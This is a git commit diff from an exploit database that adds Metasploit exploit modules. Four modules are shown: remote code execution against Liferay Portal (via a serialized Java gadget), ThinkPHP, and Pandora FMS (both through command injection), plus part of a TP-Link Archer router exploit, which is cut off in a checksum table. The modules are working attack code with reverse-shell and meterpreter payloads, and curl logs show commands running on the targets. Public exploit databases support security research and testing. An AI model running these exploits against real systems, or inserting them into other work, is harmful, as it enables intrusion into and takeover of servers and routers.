DB: 2020-04-17

8 changes to exploits/shellcodes

VMware Fusion - USB Arbitrator Setuid Privilege Escalation (Metasploit)
TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution (Metasploit)
Liferay Portal - Java Unmarshalling via JSONWS RCE (Metasploit)
ThinkPHP - Multiple PHP Injection RCEs (Metasploit)
Pandora FMS - Ping Authenticated Remote Code Execution (Metasploit)
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)
DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit)
Apache Solr - Remote Code Execution via Velocity Template (Metasploit)
This commit is contained in:
Offensive Security 2020-04-17 05:01:48 +00:00
parent decb2a46ee
commit c3e827f657
9 changed files with 2859 additions and 0 deletions

View file

@ -0,0 +1,177 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(update_info(info,
'Name' => 'Liferay Portal Java Unmarshalling via JSONWS RCE',
'Description' => %q{
This module exploits a Java unmarshalling vulnerability via JSONWS in
Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and 7.2.1 GA2
to execute code as the Liferay user. Tested against 7.2.0 GA1.
},
'Author' => [
'Markus Wulftange', # Discovery
'Thomas Etrillard', # PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-7961'],
['URL', 'https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html'],
['URL', 'https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html'],
['URL', 'https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271']
],
'DisclosureDate' => '2019-11-25', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
['Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_tcp'},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
# GET / response contains a Liferay-Portal header with version information
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
return CheckCode::Unknown('Target did not respond to check request.')
end
unless res.headers['Liferay-Portal']
return CheckCode::Unknown(
'Target did not respond with Liferay-Portal header.'
)
end
=begin
Building the Liferay-Portal header:
https://github.com/liferay/liferay-portal/blob/master/portal-kernel/src/com/liferay/portal/kernel/util/ReleaseInfo.java
Liferay-Portal header data:
https://github.com/liferay/liferay-portal/blob/master/release.properties
Example GET / response:
HTTP/1.1 200
[snip]
Liferay-Portal: Liferay Community Edition Portal 7.2.0 CE GA1 (Mueller / Build 7200 / June 4, 2019)
[snip]
=end
version, build = res.headers['Liferay-Portal'].scan(
/^Liferay.*Portal ([\d.]+.*GA\d+).*Build (\d+)/
).flatten
unless version && (build = Integer(build) rescue nil)
return CheckCode::Detected(
'Target did not respond with Liferay version and build.'
)
end
# XXX: Liferay versions older than 7.2.1 GA2 (build 7201) "may" be unpatched
if build < 7201
return CheckCode::Appears(
"Liferay #{version} MAY be a vulnerable version. Please verify."
)
end
CheckCode::Safe("Liferay #{version} is NOT a vulnerable version.")
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
# Start our HTTP server to provide remote classloading
@classloader_uri = start_service
unless @classloader_uri
fail_with(Failure::BadConfig, 'Could not start remote classloader server')
end
print_good("Started remote classloader server at #{@classloader_uri}")
# Send our remote classloader gadget to the target, triggering the vuln
send_request_gadget(
normalize_uri(target_uri.path, '/api/jsonws/expandocolumn/update-column'),
# Required POST parameters for /api/jsonws/expandocolumn/update-column:
# https://github.com/liferay/liferay-portal/blob/master/portal-impl/src/com/liferay/portlet/expando/service/impl/ExpandoColumnServiceImpl.java
'columnId' => rand(8..42), # Randomize for "evasion"
'name' => rand(8..42), # Randomize for "evasion"
'type' => rand(8..42) # Randomize for "evasion"
)
end
# Convenience method to send our gadget to a URI with desired POST params
def send_request_gadget(uri, vars_post = {})
print_status("Sending remote classloader gadget to #{full_uri(uri)}")
vars_post['+defaultData'] =
'com.mchange.v2.c3p0.WrapperConnectionPoolDataSource'
vars_post['defaultData.userOverridesAsString'] =
"HexAsciiSerializedMap:#{go_go_gadget.unpack1('H*')};"
send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => vars_post
}, 0)
end
# Generate all marshalsec payloads for the Jackson marshaller:
# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a
def go_go_gadget
# Implementation of the Jackson marshaller's C3P0WrapperConnPool gadget:
# https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/C3P0WrapperConnPool.java
gadget = Rex::Text.decode_base64(
<<~EOF
rO0ABXNyAD1jb20ubWNoYW5nZS52Mi5uYW1pbmcuUmVmZXJlbmNlSW5kaXJlY3RvciRSZWZl
cmVuY2VTZXJpYWxpemVkYhmF0NEqwhMCAARMAAtjb250ZXh0TmFtZXQAE0xqYXZheC9uYW1p
bmcvTmFtZTtMAANlbnZ0ABVMamF2YS91dGlsL0hhc2h0YWJsZTtMAARuYW1lcQB+AAFMAAly
ZWZlcmVuY2V0ABhMamF2YXgvbmFtaW5nL1JlZmVyZW5jZTt4cHBwcHNyABZqYXZheC5uYW1p
bmcuUmVmZXJlbmNl6MaeoqjpjQkCAARMAAVhZGRyc3QAEkxqYXZhL3V0aWwvVmVjdG9yO0wA
DGNsYXNzRmFjdG9yeXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAFGNsYXNzRmFjdG9yeUxvY2F0
aW9ucQB+AAdMAAljbGFzc05hbWVxAH4AB3hwc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuv
AQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0
ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFuZy5PYmplY3Q7
kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQABEhBQ0t0AANUSEV0AAZQTEFORVQ=
EOF
)
# Replace length-prefixed placeholder strings with our own
gadget.sub!("\x00\x04HACK", packed_class_name)
gadget.sub!("\x00\x03THE", packed_classloader_uri)
gadget.sub("\x00\x06PLANET", packed_class_name)
end
# Convenience method to pack the classloader URI as a length-prefixed string
def packed_classloader_uri
"#{[@classloader_uri.length].pack('n')}#{@classloader_uri}"
end
end

274
exploits/linux/remote/48333.rb Executable file
View file

@ -0,0 +1,274 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'ThinkPHP Multiple PHP Injection RCEs',
'Description' => %q{
This module exploits one of two PHP injection vulnerabilities in the
ThinkPHP web framework to execute code as the web user.
Versions up to and including 5.0.23 are exploitable, though 5.0.23 is
vulnerable to a separate vulnerability. The module will automatically
attempt to detect the version of the software.
Tested against versions 5.0.20 and 5.0.23 as can be found on Vulhub.
},
'Author' => [
# Discovery by unknown threaty threat actors
'wvu' # Module
],
'References' => [
# https://www.google.com/search?q=thinkphp+rce, tbh
['CVE', '2018-20062'], # NoneCMS 1.3 using ThinkPHP
['CVE', '2019-9082'], # Open Source BMS 1.1.1 using ThinkPHP
['URL', 'https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce']
],
'DisclosureDate' => '2018-12-10', # Unknown discovery date
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['Unix Command',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :curl,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
]
],
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
register_advanced_options([
# NOTE: You may want to tweak this for long-running commands like find(1)
OptFloat.new('CmdOutputTimeout',
[true, 'Timeout for cmd/unix/generic output', 3.5])
])
# XXX: https://github.com/rapid7/metasploit-framework/issues/12963
import_target_defaults
end
=begin
wvu@kharak:~$ curl -vs "http://127.0.0.1:8080/index.php?s=$((RANDOM))" | xmllint --html --xpath 'substring-after(//div[@class = "copyright"]/span[1]/text(), "V")' -
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /index.php?s=1353 HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Date: Mon, 13 Apr 2020 06:42:15 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.2.5
< Content-Length: 7332
< Content-Type: text/html; charset=utf-8
<
{ [7332 bytes data]
* Connection #0 to host 127.0.0.1 left intact
5.0.20wvu@kharak:~$
=end
def check
# An unknown route will trigger the ThinkPHP copyright with version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {'s' => rand_text_alpha(8..42)}
)
unless res
return CheckCode::Unknown('Target did not respond to check request.')
end
unless res.code == 404 && res.body.match(/copyright.*ThinkPHP/m)
return CheckCode::Unknown(
'Target did not respond with ThinkPHP copyright.'
)
end
# Get the first copyright <span> containing the version
version = res.get_html_document.at('//div[@class = "copyright"]/span')&.text
unless (version = version.scan(/^V([\d.]+)$/).flatten.first)
return CheckCode::Detected(
'Target did not respond with ThinkPHP version.'
)
end
# Make the parsed version a comparable ivar for automatic exploitation
@version = Gem::Version.new(version)
if @version <= Gem::Version.new('5.0.23')
return CheckCode::Appears("ThinkPHP #{@version} is a vulnerable version.")
end
CheckCode::Safe("ThinkPHP #{@version} is NOT a vulnerable version.")
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
# This is just extra insurance in case I screwed up the check method
unless @version
fail_with(Failure::NoTarget, 'Could not detect ThinkPHP version')
end
print_status("Targeting ThinkPHP #{@version} automatically")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# XXX: Only opts[:noconcat] may induce responses from the server
execute_cmdstager
else # This is just extra insurance in case I screwed up the info hash
fail_with(Failure::NoTarget, "Could not select target #{target['Type']}")
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
if @version < Gem::Version.new('5.0.23')
exploit_less_than_5_0_23(cmd)
elsif @version == Gem::Version.new('5.0.23')
exploit_5_0_23(cmd)
else # This is just extra insurance in case I screwed up the exploit method
fail_with(Failure::NoTarget, "Could not target ThinkPHP #{@version}")
end
end
=begin
wvu@kharak:~$ curl -gvs "http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id" | head -1
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 13 Apr 2020 06:43:45 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.2.5
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
{ [60 bytes data]
* Connection #0 to host 127.0.0.1 left intact
uid=33(www-data) gid=33(www-data) groups=33(www-data)
wvu@kharak:~$
=end
def exploit_less_than_5_0_23(cmd)
# XXX: The server may block on executing our payload and won't respond
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
's' => '/Index/\\think\\app/invokefunction',
'function' => 'call_user_func_array',
'vars[0]' => 'system', # TODO: Debug ARCH_PHP
'vars[1][]' => cmd
},
'partial' => true
}, datastore['CmdOutputTimeout'])
return unless res && res.code == 200
vprint_good("Successfully executed command: #{cmd}")
return unless datastore['PAYLOAD'] == 'cmd/unix/generic'
# HACK: Print half of the doubled-up command output
vprint_line(res.body[0, res.body.length / 2])
end
=begin
wvu@kharak:~$ curl -vsd "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id" http://127.0.0.1:8081/index.php?s=captcha | head -1
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8081 (#0)
> POST /index.php?s=captcha HTTP/1.1
> Host: 127.0.0.1:8081
> User-Agent: curl/7.54.0
> Accept: */*
> Content-Length: 72
> Content-Type: application/x-www-form-urlencoded
>
} [72 bytes data]
* upload completely sent off: 72 out of 72 bytes
< HTTP/1.1 200 OK
< Date: Mon, 13 Apr 2020 06:44:05 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.2.12
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
{ [60 bytes data]
* Connection #0 to host 127.0.0.1 left intact
uid=33(www-data) gid=33(www-data) groups=33(www-data)
wvu@kharak:~$
=end
def exploit_5_0_23(cmd)
# XXX: The server may block on executing our payload and won't respond
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {'s' => 'captcha'},
'vars_post' => {
'_method' => '__construct',
'filter[]' => 'system', # TODO: Debug ARCH_PHP
'method' => 'get',
'server[REQUEST_METHOD]' => cmd
},
'partial' => true
}, datastore['CmdOutputTimeout'])
return unless res && res.code == 200
vprint_good("Successfully executed command: #{cmd}")
return unless datastore['PAYLOAD'] == 'cmd/unix/generic'
# Clean up output from cmd/unix/generic
vprint_line(res.body.gsub(/\n<!DOCTYPE html>.*/m, ''))
end
end

142
exploits/linux/remote/48334.rb Executable file
View file

@ -0,0 +1,142 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Pandora FMS Ping Authenticated Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability found in Pandora FMS 7.0NG and lower.
net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands.
},
'Author' =>
[
'Onur ER <onur@onurer.net>' # Vulnerability discovery and Metasploit module
],
'DisclosureDate' => '2020-03-09',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' =>
[
['Automatic Target', {}]
],
'DefaultOptions' =>
{
'Payload' => 'linux/x86/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'index.php')
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.body =~ /Pandora/i
return CheckCode::Safe
end
pandora_version = res.body.scan(/<div id="ver_num">v(.*?)<\/div>/).flatten.first
version = Gem::Version.new(pandora_version)
print_status("Pandora FMS version #{version}") if version
if Gem::Version.new(version) <= Gem::Version.new('7.0NG')
return Exploit::CheckCode::Appears
end
CheckCode::Detected
end
def authenticate
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'index.php'),
'vars_get' => {
'login' => '1'
},
'vars_post' => {
'nick' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'login_button' => 'Login'
}
})
return auth_succeeded?(res)
end
def auth_succeeded?(res)
unless res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
print_error('Authentication failed!')
return false
end
print_good('Successfully authenticated')
print_status('Attempting to retrieve session cookie')
@cookie = res.get_cookies
unless @cookie.include?('PHPSESSID')
print_error('Error retrieving cookie!')
return false
end
print_good("Successfully retrieved session cookie: #{@cookie}")
true
end
def exploit
print_status('Exploiting...')
execute_cmdstager(flavor: :wget, nospace: true)
end
def execute_command(cmd, opts = {})
print_status("Attempting to authenticate using (#{datastore['USERNAME']}:#{datastore['PASSWORD']})")
auth = authenticate
unless auth
fail_with Failure::NoAccess, 'Please provide a valid username and password.'
end
id_agente = 1
while !session_created? && id_agente <= 10
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'index.php'),
'cookie' => @cookie,
'vars_get' => {
'sec' => 'estado',
'sec2' => 'operation/agentes/ver_agente',
'tab' => 'extension',
'id_agente' => "#{id_agente}",
'id_extension' => 'network_tools'
},
'vars_post' => {
'operation' => '2',
'select_ips' => ";#{cmd}",
'community' => 'public',
'submit' => 'Execute'
}
})
id_agente += 1
end
end
end

View file

@ -0,0 +1,391 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on
the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.
The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does
not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command
as root, including downloading and executing a binary from another host.
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
Radek Domanski).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'],
[ 'CVE', '2020-10882'],
[ 'CVE', '2020-10883'],
[ 'CVE', '2020-10884'],
[ 'ZDI', '20-334'],
[ 'ZDI', '20-335'],
[ 'ZDI', '20-336' ]
],
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'Payload' => {},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
'WfsDelay' => 15,
},
'Targets' =>
[
[ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ]
],
'DisclosureDate' => "Mar 25 2020",
'DefaultTarget' => 0,
)
)
register_options(
[
Opt::RPORT(20002)
])
register_advanced_options(
[
OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])
])
end
def check
begin
res = send_request_cgi({
'uri' => '/webpages/app.1564127413977.manifest',
'method' => 'GET',
'rport' => 80
})
if res && res.code == 200
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
pass
end
return Exploit::CheckCode::Unknown
end
def calc_checksum(packet)
# reference table used to calculate the packet checksum
# used by tdpd_pkt_calc_checksum (0x4037f0)
# located at offset 0x0416e90 in the binary
reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,
0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,
0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,
0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,
0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,
0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,
0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,
0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9,
0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa,
0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10,
0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03, 0xe4, 0xd1, 0x4b,
0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b, 0x35, 0xb5, 0xa8,
0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc, 0xf9, 0x40, 0x32,
0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf, 0xab, 0xd1, 0x3d,
0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7, 0x51, 0x80, 0xbf,
0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23, 0xcf, 0xba, 0x95,
0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05, 0x88, 0x08, 0xc6,
0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87, 0x58, 0x68, 0x4c,
0x11, 0xc1, 0x61, 0x1d, 0xab, 0xb6, 0x66, 0x2d, 0x3d, 0x76, 0xdc, 0x41, 0x90, 0x01,
0xdb, 0x71, 0x06, 0x98, 0xd2, 0x20, 0xbc, 0xef, 0xd5, 0x10, 0x2a, 0x71, 0xb1, 0x85,
0x89, 0x06, 0xb6, 0xb5, 0x1f, 0x9f, 0xbf, 0xe4, 0xa5, 0xe8, 0xb8, 0xd4, 0x33, 0x78,
0x07, 0xc9, 0xa2, 0x0f, 0x00, 0xf9, 0x34, 0x96, 0x09, 0xa8, 0x8e, 0xe1, 0x0e, 0x98,
0x18, 0x7f, 0x6a, 0x0d, 0xbb, 0x08, 0x6d, 0x3d, 0x2d, 0x91, 0x64, 0x6c, 0x97, 0xe6,
0x63, 0x5c, 0x01, 0x6b, 0x6b, 0x51, 0xf4, 0x1c, 0x6c, 0x61, 0x62, 0x85, 0x65, 0x30,
0xd8, 0xf2, 0x62, 0x00, 0x4e, 0x6c, 0x06, 0x95, 0xed, 0x1b, 0x01, 0xa5, 0x7b, 0x82,
0x08, 0xf4, 0xc1, 0xf5, 0x0f, 0xc4, 0x57, 0x65, 0xb0, 0xd9, 0xc6, 0x12, 0xb7, 0xe9,
0x50, 0x8b, 0xbe, 0xb8, 0xea, 0xfc, 0xb9, 0x88, 0x7c, 0x62, 0xdd, 0x1d, 0xdf, 0x15,
0xda, 0x2d, 0x49, 0x8c, 0xd3, 0x7c, 0xf3, 0xfb, 0xd4, 0x4c, 0x65, 0x4d, 0xb2, 0x61,
0x58, 0x3a, 0xb5, 0x51, 0xce, 0xa3, 0xbc, 0x00, 0x74, 0xd4, 0xbb, 0x30, 0xe2, 0x4a,
0xdf, 0xa5, 0x41, 0x3d, 0xd8, 0x95, 0xd7, 0xa4, 0xd1, 0xc4, 0x6d, 0xd3, 0xd6, 0xf4,
0xfb, 0x43, 0x69, 0xe9, 0x6a, 0x34, 0x6e, 0xd9, 0xfc, 0xad, 0x67, 0x88, 0x46, 0xda,
0x60, 0xb8, 0xd0, 0x44, 0x04, 0x2d, 0x73, 0x33, 0x03, 0x1d, 0xe5, 0xaa, 0x0a, 0x4c,
0x5f, 0xdd, 0x0d, 0x7c, 0xc9, 0x50, 0x05, 0x71, 0x3c, 0x27, 0x02, 0x41, 0xaa, 0xbe,
0x0b, 0x10, 0x10, 0xc9, 0x0c, 0x20, 0x86, 0x57, 0x68, 0xb5, 0x25, 0x20, 0x6f, 0x85,
0xb3, 0xb9, 0x66, 0xd4, 0x09, 0xce, 0x61, 0xe4, 0x9f, 0x5e, 0xde, 0xf9, 0x0e, 0x29,
0xd9, 0xc9, 0x98, 0xb0, 0xd0, 0x98, 0x22, 0xc7, 0xd7, 0xa8, 0xb4, 0x59, 0xb3, 0x3d,
0x17, 0x2e, 0xb4, 0x0d, 0x81, 0xb7, 0xbd, 0x5c, 0x3b, 0xc0, 0xba, 0x6c, 0xad, 0xed,
0xb8, 0x83, 0x20, 0x9a, 0xbf, 0xb3, 0xb6, 0x03, 0xb6, 0xe2, 0x0c, 0x74, 0xb1, 0xd2,
0x9a, 0xea, 0xd5, 0x47, 0x39, 0x9d, 0xd2, 0x77, 0xaf, 0x04, 0xdb, 0x26, 0x15, 0x73,
0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84, 0x0d, 0x6d, 0x6a,
0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09, 0xff, 0x9d, 0x0a,
0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 0x44, 0x87, 0x08, 0xa3,
0xd2, 0x1e, 0x01, 0xf2, 0x68, 0x69, 0x06, 0xc2, 0xfe, 0xf7, 0x62, 0x57, 0x5d, 0x80,
0x65, 0x67, 0xcb, 0x19, 0x6c, 0x36, 0x71, 0x6e, 0x6b, 0x06, 0xe7, 0xfe, 0xd4, 0x1b,
0x76, 0x89, 0xd3, 0x2b, 0xe0, 0x10, 0xda, 0x7a, 0x5a, 0x67, 0xdd, 0x4a, 0xcc, 0xf9,
0xb9, 0xdf, 0x6f, 0x8e, 0xbe, 0xef, 0xf9, 0x17, 0xb7, 0xbe, 0x43, 0x60, 0xb0, 0x8e,
0xd5, 0xd6, 0xd6, 0xa3, 0xe8, 0xa1, 0xd1, 0x93, 0x7e, 0x38, 0xd8, 0xc2, 0xc4, 0x4f,
0xdf, 0xf2, 0x52, 0xd1, 0xbb, 0x67, 0xf1, 0xa6, 0xbc, 0x57, 0x67, 0x3f, 0xb5, 0x06,
0xdd, 0x48, 0xb2, 0x36, 0x4b, 0xd8, 0x0d, 0x2b, 0xda, 0xaf, 0x0a, 0x1b, 0x4c, 0x36,
0x03, 0x4a, 0xf6, 0x41, 0x04, 0x7a, 0x60, 0xdf, 0x60, 0xef, 0xc3, 0xa8, 0x67, 0xdf,
0x55, 0x31, 0x6e, 0x8e, 0xef, 0x46, 0x69, 0xbe, 0x79, 0xcb, 0x61, 0xb3, 0x8c, 0xbc,
0x66, 0x83, 0x1a, 0x25, 0x6f, 0xd2, 0xa0, 0x52, 0x68, 0xe2, 0x36, 0xcc, 0x0c, 0x77,
0x95, 0xbb, 0x0b, 0x47, 0x03, 0x22, 0x02, 0x16, 0xb9, 0x55, 0x05, 0x26, 0x2f, 0xc5,
0xba, 0x3b, 0xbe, 0xb2, 0xbd, 0x0b, 0x28, 0x2b, 0xb4, 0x5a, 0x92, 0x5c, 0xb3, 0x6a,
0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9, 0x9e, 0x8b, 0x5b,
0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26, 0x75, 0x6a, 0xa3,
